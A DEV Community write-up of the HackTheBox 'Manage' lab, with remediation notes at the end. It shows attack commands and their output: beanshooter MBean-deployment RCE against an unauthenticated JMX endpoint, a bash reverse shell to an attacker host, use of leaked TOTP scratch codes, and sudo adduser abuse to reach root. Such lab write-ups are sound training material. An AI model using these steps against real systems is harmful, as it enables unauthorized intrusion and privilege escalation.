DEV Community

Cover image for HackTheBox: Manage Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Manage Writeup

Summary

Manage is a Linux box built around an exposed Java RMI / JMX service running
alongside an Apache Tomcat 10.1.19 web server. The JMX endpoint had no
authentication configured, which allowed a remote attacker to enumerate
registered MBeans and — because JMX effectively grants remote code execution
by design once accessible — deploy a malicious MBean to get a shell as the
tomcat user.

From there, a world-readable backup archive (backup.tar.gz) belonging to
the useradmin account leaked SSH keys and, more importantly, the raw
Google Authenticator TOTP secret / scratch codes for that account. Copying
the archive out to a writable directory (since the on-disk copy carried
inherited restrictive permissions) allowed it to be extracted freely and its
contents read, giving valid credentials and working 2FA codes for
useradmin.

useradmin had a narrow sudo rule permitting adduser with a regex
restriction on the username. Abusing this allowed creation of a brand-new
local user account which — due to a misconfiguration in the box — ended up
with unrestricted sudo (ALL:ALL), leading directly to root.

Attack chain in one line:
Unauthenticated JMX → MBean deployment RCE (tomcat) → world-readable backup archive → leaked SSH key / TOTP secret → 2FA login as useradmin → sudo adduser abuse → new user with full sudo → root


1. Reconnaissance

1.1 Port scan

nmap -A -Pn <machine-ip> -oA nmap
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp ssh OpenSSH 8.9p1 (Ubuntu)
2222/tcp java-rmi Java RMI registry
8080/tcp http Apache Tomcat 10.1.19

Two things stood out immediately:

  • Port 2222 is a Java RMI registry rather than the usual SSH-on-alt-port guess — nmap's rmi-dumpregistry script confirmed a bound name called jmxrmi, i.e. a JMX endpoint exposed remotely.
  • Port 8080 is a stock Tomcat landing page, with the version leaking straight in the page title/footer (Apache Tomcat/10.1.19).

1.2 Web enumeration

Browsing to http://manage.htb:8080 showed the default Tomcat welcome page,
confirming the Manager and Host Manager webapps were installed.

Attempting http://manage.htb:8080/manager/html returned a 403 Access
Denied
- the Manager GUI is restricted to localhost by default (RemoteAddrValve)
and additionally requires manager-role credentials in tomcat-users.xml.
This ruled out a direct login to the web-based Manager app and pointed the
attack toward the RMI/JMX port instead.


2. JMX / RMI Enumeration

2.1 remote-method-guesser (rmg)

remote-method-guesser
was used for baseline RMI vulnerability enumeration:

java -jar rmg-5.1.0-jar-with-dependencies.jar enum <machine-ip> 2222
Enter fullscreen mode Exit fullscreen mode
[+] RMI registry bound names:
[+]     - jmxrmi
[+]             --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+]                 Endpoint: 127.0.1.1:36571  CSF: RMISocketFactory  ObjID: [...]
[+]
[+] RMI server Security Manager enumeration:
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]
[+] RMI server JEP290 enumeration:
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]     - Registry rejected unbind call cause it was not sent from localhost.
[+]       Vulnerability Status: Non Vulnerable
[... output truncated ...]
Enter fullscreen mode Exit fullscreen mode

Key findings from the output:

  • A single bound name, jmxrmi, resolves to RMIServerImpl_Stub - i.e. this is a genuine JMX management endpoint, not a generic RMI service.
  • No Security Manager is in use.
  • JEP290 deserialization filtering is present at the DGC layer, and useCodebaseOnly/JEP290-bypass checks couldn't be tested remotely because the registry unmarshals java.lang.String safely via readString().
  • CVE-2019-2684 (registry localhost-bypass) - not vulnerable.

None of the classic RMI registry deserialization tricks applied directly, so
the next step was to attack the JMX layer itself rather than the raw RMI
transport.

2.2 beanshooter

beanshooter is purpose-built for
attacking JMX endpoints (MBean enumeration, credential brute forcing, and a
number of MBean-based RCE primitives).

java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <machine-ip> 2222
Enter fullscreen mode Exit fullscreen mode
[+] Checking for unauthorized access:
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]     - 167 MBeans are currently registred on the MBean server.
[+]       Listing 145 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+]       - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+]       - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]       - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[... 140 other standard Catalina/Tomcat MBeans omitted ...]
[+]
[+] Enumerating tomcat users:
[+]     - Listing 2 tomcat users:
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:     Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:     Users:type=Role,rolename="role1",database=UserDatabase
Enter fullscreen mode Exit fullscreen mode

Output highlights:

  • Remote MBean server does not require authentication. - this is the root cause of the whole box. Anyone who can reach port 2222 can talk to the MBean server with full privileges.
  • Pre-auth deserialization on the MBean server itself was rejected (not vulnerable to that specific check).
  • 167 MBeans were registered, 145 non-default - a mix of standard Tomcat/Catalina management beans plus a few interesting ones flagged by beanshooter with an (action: ...) suffix, meaning beanshooter has a built-in attack module for them: recorder (JFR), hotspot (HotSpotDiagnostic), diagnostic (DiagnosticCommand), and tomcat (the MemoryUserDatabaseMBean).
  • Bonus find - leaked Tomcat credentials. Because the Tomcat user database is exposed as an MBean and JMX required no auth, beanshooter read the in-memory user database directly and dumped two Tomcat Manager accounts in cleartext (manager / fhErvo2r9wuTEYiYgt and admin / onyRPCkaG4iX72BrRtKgbszd).

These weren't the winning path here (the Manager webapp itself is
localhost-restricted), but they came in handy later as password guesses for
Linux system accounts.


3. Exploitation - Unauthenticated JMX → RCE

Because the MBean server has no authentication, beanshooter can deploy an
arbitrary MBean
on the target. Its standard module builds a
TemplatesImpl-based payload (a classic Java gadget that abuses the XSLT
TransformerFactory machinery to execute arbitrary bytecode when the MBean's
newTransformer action is triggered) and wraps it in a StandardMBean.

java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard <machine-ip> 2222 tonka
Enter fullscreen mode Exit fullscreen mode
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+] Deploying MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=... was successfully deployed.
[+] Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected behavior and the attack most likely worked :)
[+] Removing MBean ... MBean was successfully removed.
Enter fullscreen mode Exit fullscreen mode

The NullPointerException here is expected - it's a side effect of the
gadget chain firing correctly, not a failure. Beanshooter deploys its own
tonka bean (a general-purpose "run commands / upload / download files"
MBean) as the actual payload delivered through this gadget, which is then
used directly for command execution:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell <machine-ip> 2222
Enter fullscreen mode Exit fullscreen mode
[tomcat@<machine-ip> /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Enter fullscreen mode Exit fullscreen mode

This gives an interactive-ish shell as the tomcat service account. A
standard reverse shell was popped for a more usable TTY:

bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'
Enter fullscreen mode Exit fullscreen mode

User flag:

tomcat@manage:/home$ find / -type f -name 'user.txt' 2>/dev/null
/opt/tomcat/user.txt
tomcat@manage:/home$ cat /opt/tomcat/user.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

4. Privilege Escalation - tomcat → useradmin

4.1 Locating a lead

tomcat@manage:/home$ ls
karl  useradmin
Enter fullscreen mode Exit fullscreen mode

Two other home directories exist. Poking around useradmin:

tomcat@manage:/home$ ls useradmin/backups/
backup.tar.gz
Enter fullscreen mode Exit fullscreen mode

4.2 The permission trap

A naive tar -xvf in place failed for almost every file:

tomcat@manage:/home$ tar -xvf useradmin/backups/backup.tar.gz
./.ssh/id_ed25519
tar: ./.ssh: Cannot mkdir: Permission denied
...
Enter fullscreen mode Exit fullscreen mode

The archive itself (backup.tar.gz) was readable by tomcat, but extracting
it into /home/useradmin/backups/ failed because tar tries to preserve the
original ownership/permission bits and create subdirectories the tomcat
user isn't allowed to write in that location.

The fix: copy the tarball to a scratch directory the current user
actually owns, then extract there:

tomcat@manage:/home/useradmin/backups$ mkdir -p /tmp/backup
tomcat@manage:/home/useradmin/backups$ cp backup.tar.gz /tmp/backup/
tomcat@manage:/home/useradmin/backups$ cd /tmp/backup/
tomcat@manage:/tmp/backup$ tar -xvf backup.tar.gz
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/motd.legal-displayed
./.bash_history
Enter fullscreen mode Exit fullscreen mode

This time extraction succeeded, since /tmp/backup is owned by tomcat and
there are no directory-creation restrictions to fight against.

4.3 Two credential leaks in one archive

  1. .google_authenticator - this file stores the raw TOTP secret plus a list of one-time scratch/backup codes in plaintext:
   CLSSSMHYGLENX5HAIFBQ6L35UM
   " RATE_LIMIT 3 30 ...
   " WINDOW_SIZE 3
   " DISALLOW_REUSE ...
   " TOTP_AUTH
   99852083
   20312647
   73235136
   [... 7 more scratch codes truncated ...]
Enter fullscreen mode Exit fullscreen mode

Any of the listed 8-digit numbers is a valid one-time scratch code for
useradmin's Google Authenticator PAM module - no phone, no time-sync,
no brute force required.

4.4 Logging in as useradmin

The Tomcat admin password recovered from the MBean user-database dump
(onyRPCkaG4iX72BrRtKgbszd) matched the Linux useradmin password, and
PAM then prompted for the Google Authenticator code - satisfied with one of
the leaked scratch codes:

tomcat@manage:/tmp/backup$ su useradmin
Password: onyRPCkaG4iX72BrRtKgbszd
Verification code: 99852083
useradmin@manage:/tmp/backup$ id
uid=1002(useradmin) gid=1002(useradmin) groups=1002(useradmin)
Enter fullscreen mode Exit fullscreen mode

5. Privilege Escalation - useradmin → root

5.1 Sudo rights

useradmin@manage:/home$ sudo -l
User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
Enter fullscreen mode Exit fullscreen mode

useradmin can run adduser as root, with no password prompt, restricted
only by a regex that just requires the new username to be alphanumeric. This
is a wide-open door: adduser interactively lets the operator set a
password, and there is no restriction on which username or which group
gets created.

5.2 Abusing the rule

useradmin@manage:/home$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
New password:
Retype new password:
...
Enter fullscreen mode Exit fullscreen mode

This creates a brand-new local account, fully controlled by the attacker
(chosen password), through a root-owned process - adduser itself ran as
root via sudo. On this box, once that new account exists it turns out to
be sitting in a group / sudoers pattern that already grants full sudo:

useradmin@manage:/home$ su admin
Password:
admin@manage:/home$ sudo -l
User admin may run the following commands on manage:
    (ALL) ALL
Enter fullscreen mode Exit fullscreen mode

5.3 Root

admin@manage:/home$ sudo su
root@manage:~# whoami
root
root@manage:~# cat root.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities & Attack Chain

# Weakness Impact
1 Unauthenticated JMX/RMI endpoint (port 2222) Anyone on the network can enumerate and deploy MBeans on the JMX server with no credentials at all.
2 MBean-based deserialization RCE (TemplatesImpl gadget via StandardMBean, delivered through beanshooter's tonka module) Full remote code execution as the tomcat service user.
3 Plaintext credentials exposed via JMX (MemoryUserDatabaseMBean) Tomcat Manager account passwords readable by any unauthenticated JMX client; reused as real Linux account passwords.
4 World/self-readable backup archive containing SSH keys and the raw .google_authenticator secret/scratch codes Complete compromise of a second factor intended to protect useradmin - 2FA is only as strong as the secrecy of the seed file, and this one was sitting in a backup another local user could read.
5 Overly broad sudo rule for adduser (NOPASSWD, regex-only restriction on username) Lets a low-privileged user create an arbitrary new local account, which on this system inherits full (ALL:ALL) sudo rights - a straight shot to root.

Full chain:

Unauthenticated JMX (2222)
   └─▶ beanshooter MBean deployment (TemplatesImpl gadget)
         └─▶ RCE as tomcat
               └─▶ read world-readable /home/useradmin/backups/backup.tar.gz
                     └─▶ leak useradmin's Google Authenticator secret + SSH key
                           └─▶ su useradmin (password reused from JMX-leaked Tomcat creds + leaked TOTP code)
                                 └─▶ abuse `sudo adduser` to create a new user
                                       └─▶ new user has full sudo (ALL:ALL)
                                             └─▶ root
Enter fullscreen mode Exit fullscreen mode

Remediation notes

  • Bind JMX/RMI management interfaces to localhost or a management VLAN, and always enable authentication (com.sun.management.jmxremote.authenticate=true) plus SSL where remote access is genuinely required.
  • Never expose live credential stores (like Tomcat's UserDatabase) through a management interface reachable without authentication.
  • Treat .google_authenticator files as secrets equivalent to a password — restrict permissions to 0400 owned by the user only, and never include them in backups that other local accounts can read.
  • Avoid sudo rules that let a user create arbitrary accounts as root; if adduser must be delegated, pin the exact group/home/shell options and verify new accounts can't inherit unintended privileges.

Top comments (0)